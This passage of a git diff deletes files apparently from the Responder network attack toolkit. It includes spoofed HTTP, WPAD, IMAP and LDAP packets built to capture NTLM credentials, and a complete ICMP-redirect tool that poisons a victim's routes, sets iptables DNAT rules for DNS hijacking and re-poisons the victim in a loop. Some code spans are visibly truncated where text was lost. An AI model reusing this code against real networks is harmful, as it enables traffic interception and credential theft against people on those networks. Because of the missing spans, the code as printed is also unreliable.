self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - - ##Then calculate - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - # Target Name Offsets - self.fields["TargetNameOffset"] = struct.pack(". -import struct -from odict import OrderedDict -from base64 import b64decode,b64encode - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found. -class WPADScript(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("CRLF", "\r\n\r\n"), - ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -class ServerExeFile(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ContentType", "Content-Type: application/octet-stream\r\n"), - ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), - ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), - ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), - ("CRLF", "\r\n"), - ("Payload", "jj"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -class ServeAlwaysExeFile(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ContentType", "Content-Type: application/octet-stream\r\n"), - ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), - ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentDisp", "Content-Disposition: attachment; filename="), - ("ContentDiFile", ""), - ("FileCRLF", ";\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), - ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), - ("CRLF", "\r\n"), - ("Payload", "jj"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -class ServeAlwaysNormalFile(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ContentType", "Content-Type: text/html\r\n"), - ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), - ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), - ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), - ("CRLF", "\r\n"), - ("Payload", "jj"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -#HTTP Packet used for further NTLM auth. -class IIS_Auth_407_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Authentication Required\r\n"), - ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), - ("Connection", "Connection: close \r\n"), - ("PConnection", "proxy-Connection: close \r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) - -#HTTP NTLM packet. -class IIS_407_NTLM_Challenge_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Authentication Required\r\n"), - ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWWAuth", "Proxy-Authenticate: NTLM "), - ("Payload", ""), - ("Payload-CRLF", "\r\n"), - ("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) - - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) - -#HTTP Basic answer packet. -class IIS_Basic_407_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) diff --git a/libs/responder/IMAPPackets.py b/libs/responder/IMAPPackets.py deleted file mode 100644 index 51f13e8..0000000 --- a/libs/responder/IMAPPackets.py +++ /dev/null @@ -1,55 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#IMAP4 Greating class -class IMAPGreating(Packet): - fields = OrderedDict([ - ("Code", "* OK IMAP4 service is ready."), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapability(Packet): - fields = OrderedDict([ - ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapabilityEnd(Packet): - fields = OrderedDict([ - ("Tag", ""), - ("Message", " OK CAPABILITY completed."), - ("CRLF", "\r\n"), - ]) diff --git a/libs/responder/Icmp-Redirect.py b/libs/responder/Icmp-Redirect.py deleted file mode 100644 index 98e1355..0000000 --- a/libs/responder/Icmp-Redirect.py +++ /dev/null @@ -1,266 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import sys,socket,struct,optparse,random,pipes -from socket import * -from odict import OrderedDict -from random import randrange -from time import sleep -from subprocess import call -from pipes import quote - -parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', - prog=sys.argv[0], - ) -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - -parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") - -parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") - -parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") - -parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") - -parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") - -parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") - -options, args = parser.parse_args() - -if options.OURIP is None: - print "-i mandatory option is missing.\n" - parser.print_help() - exit(-1) - -if options.OriginalGwAddr is None: - print "-g mandatory option is missing, please provide the original gateway address.\n" - parser.print_help() - exit(-1) - -if options.VictimIP is None: - print "-t mandatory option is missing, please provide a target.\n" - parser.print_help() - exit(-1) - -if options.Interface is None: - print "-I mandatory option is missing, please provide your network interface.\n" - parser.print_help() - exit(-1) - -if options.ToThisHost is None: - print "-r mandatory option is missing, please provide a destination target.\n" - parser.print_help() - exit(-1) - -if options.AlternateGwAddr is None: - AlternateGwAddr = options.OURIP - -#Setting some vars. -OURIP = options.OURIP -OriginalGwAddr = options.OriginalGwAddr -AlternateGwAddr = options.AlternateGwAddr -VictimIP = options.VictimIP -ToThisHost = options.ToThisHost -ToThisHost2 = options.ToThisHost2 -Interface = options.Interface - -def Show_Help(ExtraHelpData): - help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" - help+= ExtraHelpData - print help - -MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def GenCheckSum(data): - s = 0 - for i in range(0, len(data), 2): - q = ord(data[i]) + (ord(data[i+1]) << 8) - f = s+q - s = (f & 0xffff) + (f >> 16) - return struct.pack("H", len(CalculateLen)) - # Then CheckSum this packet - CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) - self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) - -class ICMPRedir(Packet): - fields = OrderedDict([ - ("Type", "\x05"), - ("OpCode", "\x01"), - ("CheckSum", "\x00\x00"), - ("GwAddr", ""), - ("Data", ""), - - ]) - - def calculate(self): - #Set the values - self.fields["GwAddr"] = inet_aton(OURIP) - # Then CheckSum this packet - CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) - self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) - -class DummyUDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x35"), #port 53 - ("DstPort", "\x00\x35"), - ("Len", "\x00\x08"), #Always 8 in this case. - ("CheckSum", "\x00\x00"), #CheckSum disabled. - ]) - -def ReceiveArpFrame(DstAddr): - s = socket(AF_PACKET, SOCK_RAW) - s.settimeout(5) - Protocol = 0x0806 - s.bind((Interface, Protocol)) - OurMac = s.getsockname()[4] - Eth = EthARP(SrcMac=OurMac) - Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) - Arp.calculate() - final = str(Eth)+str(Arp) - try: - s.send(final) - data = s.recv(1024) - DstMac = data[22:28] - DestMac = DstMac.encode('hex') - PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) - return PrintMac,DstMac - except: - print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) - exit(1) - -def IcmpRedirectSock(DestinationIP): - PrintMac,DestMac = ReceiveArpFrame(VictimIP) - print '[ARP]Target Mac address is :',PrintMac - PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) - print '[ARP]Router Mac address is :',PrintMac - s = socket(AF_PACKET, SOCK_RAW) - Protocol = 0x0800 - s.bind((Interface, Protocol)) - Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) - IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) - IPPackUDP.calculate() - ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) - ICMPPack.calculate() - IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) - IPPack.calculate() - final = str(Eth)+str(IPPack) - s.send(final) - print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) - -def FindWhatToDo(ToThisHost2): - if ToThisHost2 != None: - Show_Help('Hit CRTL-C to kill this script') - RunThisInLoop(ToThisHost, ToThisHost2,OURIP) - if ToThisHost2 == None: - Show_Help(MoreHelp) - IcmpRedirectSock(DestinationIP=ToThisHost) - exit() - -def RunThisInLoop(host, host2, ip): - dns1 = pipes.quote(host) - dns2 = pipes.quote(host2) - ouripadd = pipes.quote(ip) - call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) - call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) - print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." - while True: - IcmpRedirectSock(DestinationIP=dns1) - IcmpRedirectSock(DestinationIP=dns2) - print "[+]Repoisoning the target in 8 minutes..." - sleep(480) - -FindWhatToDo(ToThisHost2) diff --git a/libs/responder/LDAPPackets.py b/libs/responder/LDAPPackets.py deleted file mode 100644 index 7de4409..0000000 --- a/libs/responder/LDAPPackets.py +++ /dev/null @@ -1,238 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -class LDAPSearchDefaultPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLen", "\x0c"), - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x0f"), - ("OpHeadASNID", "\x65"), - ("OpHeadASNIDLen", "\x07"), - ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results. - ]) - -class LDAPSearchSupportedCapabilitiesPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x15"),#21 - ("SearchAttribASN2Str", "supportedCapabilities"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x4a"), - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x16"),#22 - ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x17"),#23 - ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x17"),#23 - ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPSearchSupportedMechanismsPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x17"),#23 - ("SearchAttribASN2Str", "supportedSASLMechanisms"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42 - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x06"),#6 - ("SearchAttrib1ASNStr", "GSSAPI"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x0a"),#10 - ("SearchAttrib2ASNStr", "GSS-SPNEGO"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x08"),#8 - ("SearchAttrib3ASNStr", "EXTERNAL"), - ("SearchAttrib4ASNID", "\x04"), - ("SearchAttrib4ASNLen", "\x0a"),#10 - ("SearchAttrib4ASNStr", "DIGEST-MD5"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPNTLMChallenge(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x61"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199 - ("Status", "\x0A"), - ("StatusASNLen", "\x01"), - ("StatusASNStr", "\x0e"), #In Progress. - ("MatchedDN", "\x04\x00"), #Null - ("ErrorMessage", "\x04\x00"), #Null - ("SequenceHeader", "\x87"), - ("SequenceHeaderLenOfLen", "\x81"), - ("SequenceHeaderLen", "\x82"), #188 - ("NTLMSSPSignature", "NTLMSSP"), - ("NTLMSSPSignatureNull", "\x00"), - ("NTLMSSPMessageType", "\x02\x00\x00\x00"), - ("NTLMSSPNtWorkstationLen","\x1e\x00"), - ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), - ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), - ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), - ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), - ("NTLMSSPNtTargetInfoLen","\x94\x00"), - ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), - ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh","\x05"), - ("NegTokenInitSeqMechMessageVersionLow","\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"), - ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), - ("NTLMSSPNtWorkstationName","SMB12"), - ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), - ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), - ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), - ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), - ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), - ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), - ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), - ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), - ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), - ]) - - def calculate(self): - - ##Convert strings to Unicode first... - self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') - - ###### Workstation Offset - CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) - - ###### AvPairs Offset - CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) - - ###### LDAP Packet Len - CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - - OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - ##### LDAP Len Calculation: - self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) - 